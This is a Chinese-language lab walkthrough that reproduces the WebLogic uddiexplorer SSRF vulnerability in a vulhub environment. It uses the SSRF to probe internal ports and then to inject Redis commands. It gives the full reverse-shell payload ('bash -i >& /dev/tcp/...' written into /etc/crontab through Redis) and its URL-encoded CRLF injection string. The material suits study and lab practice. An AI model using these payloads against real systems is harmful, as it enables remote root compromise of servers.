关于Weblogic SSRF漏洞的复现

一、漏洞介绍

 Weblogic中的这个环境就有点类似这个样子的，就是由于访问目标网站是的参数是url 这时就有可能存在ssrf漏洞，恰好在服务端验证请求时没有对用户请求做出严格的过滤以及限制，导致其可以获取服务器的一定量的数据，并可以实现篡改获取的资源并请求发送给服务器，这里就是篡改了 /etc/crontab下的信息，将反弹shell脚本写入了该目录下，是通过获取服务器的redis服务，通过6379 这个端口实现的。

redis数据库
1、未授权访问在访问redis数据库的时候，不需要提供用户名和密码
2、具有root权限
3、读写文件

redis详解

二、环境搭建

• 攻击机：192.168.70.2（kali）
• 受害机：192.168.70.12（vulhu）

利用命令：docker-compose up -d

三、漏洞复现

到真机浏览器访问该地址：http://192.168.70.12:7001/uddiexplorer，出现如下页面则证明环境搭建成功!

已知该SSRF漏洞位于如下地址：http://192.168.70.12:7001/uddiexplorer/SearchPublicRegistries.jsp

我们随便输入几个值，bp拦截抓包。

随后发到重发器里发现operator的参数是一个url，这个就是利用点。

于是我们来构造请求，通过改变url的端口来做一个端口检测。

当我们访问一个存在的端口，会返回状态码。

访问一个不存在的端口，会返回连不上服务器的报错。

访问一个非http协议，返回did not have a valid SOAP content-type，

是因为该容器运行着 redis 服务，我们可以通过docker inspect 容器ID 命令查看并确认 redis 服务的容器IP地址：

以上通过 SSRF漏洞探测内网中的 redis 服务器（我的docker环境的网段是192.*），已经发现192.168.0.2:6379可以连通。这个猜测内网ip的过程是一个盲猜的一个过程。通过不同的报错信息即可探测内网的信息。

四、注入HTTP头，利用Redis反弹shell

接下来通过以下三条命令：

set 1 “\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c ‘sh -i >& /dev/tcp/evil/192.168.70.2/6666 0>&1’\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
save

因为是通过url进行注入，所以要对该命令进行url编码。点我在线编码

编码之后的命令为：

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E&%20/dev/tcp/evil/192.168.70.2/6666%200%3E&1'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20/etc/%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A

同时我们还要制定一个要写入的文件test，换行符为%0A%0D(redis 通过换行符来分隔每条命令),所以最终的命令为:

/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.70.2%2F6666%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

命令详解：

命令行	注释
set 1	将bash shell设置为变量“1”的value值，执行一个反弹shell，IP为Kali虚拟机IP
set dir /etc/	建立一个工作目录
config set dbfilename crontab	创建一个RDB备份文件，文件名crontab；所有的RDB文件都会储存在etc/crontab下

此时我们可以在kali端建立监听。

将最终的命令插入到operator字段的端口后边，再把编码后的url通过bp发送给服务器，

这时kali上就会监听到并且获得shell。